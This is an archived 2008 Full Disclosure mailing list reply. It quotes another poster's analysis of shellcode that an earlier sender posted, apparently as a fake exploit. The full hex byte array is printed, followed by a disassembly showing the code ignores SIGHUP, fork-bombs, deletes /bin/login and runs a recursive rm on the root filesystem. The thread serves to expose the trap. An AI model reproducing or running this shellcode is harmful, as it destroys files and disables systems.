Full Disclosure mailing list archives
Re: here
From: Nikolay Kichukov <hijacker () oldum net>
Date: Wed, 02 Jan 2008 14:40:11 +0200
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks Andrew! Nice catch! ;-) Cheers, - -Nikolay Andrew Farmer wrote:
On 20 Dec 07, at 18:51, onion ring wrote: <snip>char sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80" "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80" "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42" "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31" "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F" "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F" "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72" "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2" "\x04\x0B\xCD\x80";<snip> Abbreviated disassembly: signal(SIGHUP, SIG_IGN) something that looks like a 15-level deep fork() bomb something involving kill() unlink("/bin/login") execve("//bin/rm", {"//bin/rm", "-rff", "*///"}) You could at least try to obfuscate your constants a little better. That was way too easy. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQEVAwUBR3uGKzFLYVOGGjgXAQLqzwgAo4UyRGOIGKt2rHK32x17Imt5axyJIHQF +sIq8NsJzw5U5psM63MrxIkKajW2c/THOUIbFR4TaFAt1/ng3covsJHh1iX6bpfN uD18QTY3FHPIv9LNXoYgtJmLiUBFqY1AWXd5ih1e/LMRa9ZP8KVjv14EnmJom8tP qL/WEtYjq60reaLpLpowhVLi4q1KKjvC4BoRz7zGmp26As6ah/5HmYpjpsiA7cKg v7959l4bQsy0QHG6YP+pY8PfQX3KmhFns1yAsQF93TMGx3N8LYa1fdcXkZLrw5nf L8tI3QZ+Qhu4lck+QzElCtD3sUuB4z/ae+KsJWWJuGoDe7CdrR5Yug== =bBbH -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: here Nikolay Kichukov (Jan 02)